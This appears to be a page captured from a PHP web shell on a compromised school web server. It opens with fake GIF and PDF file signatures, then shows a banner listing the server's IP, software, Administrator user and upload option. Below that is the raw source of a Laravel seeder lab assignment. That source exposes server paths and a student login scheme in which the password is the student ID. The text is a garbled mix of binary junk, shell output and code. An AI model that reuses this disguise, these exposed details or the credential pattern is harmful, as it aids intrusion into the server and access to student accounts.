GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab03/ |
Upload File : |
<? // MichaelMalz/CST2146/Labs/Lab02.phpinc $css .= ',colorCode.css'; #d_Var('$f_task',$f_task,'df'); #d_Var('$f_subtask',$f_subtask,'df'); // Process $f_subtask == 'Save path information' if ( $f_task == 'Submit' && $f_subtask == 'Save path information' ) { $EvaluationSubmission_PROCESS = false; require('getLabInfo.phpinc'); require('saveLabInfo.phpinc'); } require('getLabInfo.phpinc'); $checkFileUpload = false; #$showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; $uploadFilename = $classNumber.'_'.$saveFilename.'.png'; $UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3)); $PW = $f_sId; $ShowSpanCountBefore = false; //$ShowSpanCountBefore = true; // <span class="count"> #d_Var("\$_SESSION",$_SESSION,'d+'); #d_Var("\$_SESSION['CST2146']",$_SESSION['CST2146'],'d+'); ?> <fieldset><legend>Description</legend> The purpose of this lab is to setup your Seeders for the CST2146 project for class. <br> <span class="note normal"> There are a lot of steps and variations that can happen and I will try to cover them below. <br>No matter what I do, you may need help to get this all working. If you need help, don't be shy; Call me, or email me to set up a web meeting where we can talk. </span> <br> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <ol class="count"> <li>*** Use laravel tools and conventions on this lab ***</li> <li>*** Think about the order you need to run your seeders ***</li> <li>Faker helper <a href="https://fakerphp.org/formatters/">Functions</a></li> <!-- 1 --> <li>Create the data <a href="https://laravel.com/docs/10.x/seeding">Seeders</a> for the following Models. <ol> <li>Coupons <ol> <li>Seed 4 rows total</li> <li>2 rows need to be a percent type</li> <li>2 rows need to be a amount type</li> </ol> </li> <li>Customers <ol> <li>Seed 20 rows total using a factory with faker()</li> </ol> </li> <li>Orders (This one can be skipped for now)</li> <li>OrdersProducts (This one can be skipped for now)</li> <li>Products <ol> <li>Seed 10 rows total</li> <li>5 rows need to be from the first warehouse</li> <li>5 rows need to be from the second warehouse</li> </ol> </li> <li>Warehouses <ol> <li>Seed 2 rows total using a factory with faker()</li> <li>Use the fake()->city() for the name</li> <li>Use the 1 for the status</li> </ol> </li> </ol> </li> <!-- 2 --> <li>Demonstrate that your new data models and migrations work. <ol> <li>Execute the command 'php artisan db:seed' in the command terminal.</li> <li>Commit your changes to your github branch.</li> <li>Take a screenshot of the output in the command terminal.</li> <li>Take a screenshot and save it as <b class="copyText"><?=$uploadFilename?></b>. <br> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/ScreenShot1.png" width="900" height="405" alt=""/> <? showEnd (); ?> </li> </ol> </li> <!-- 3 --> <li>Turn in your assignment: <ol type="a"> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?> onclick="return checkFileUpload(this);"> for grading.</li> </ol> </li> </ol> <? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br> <? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>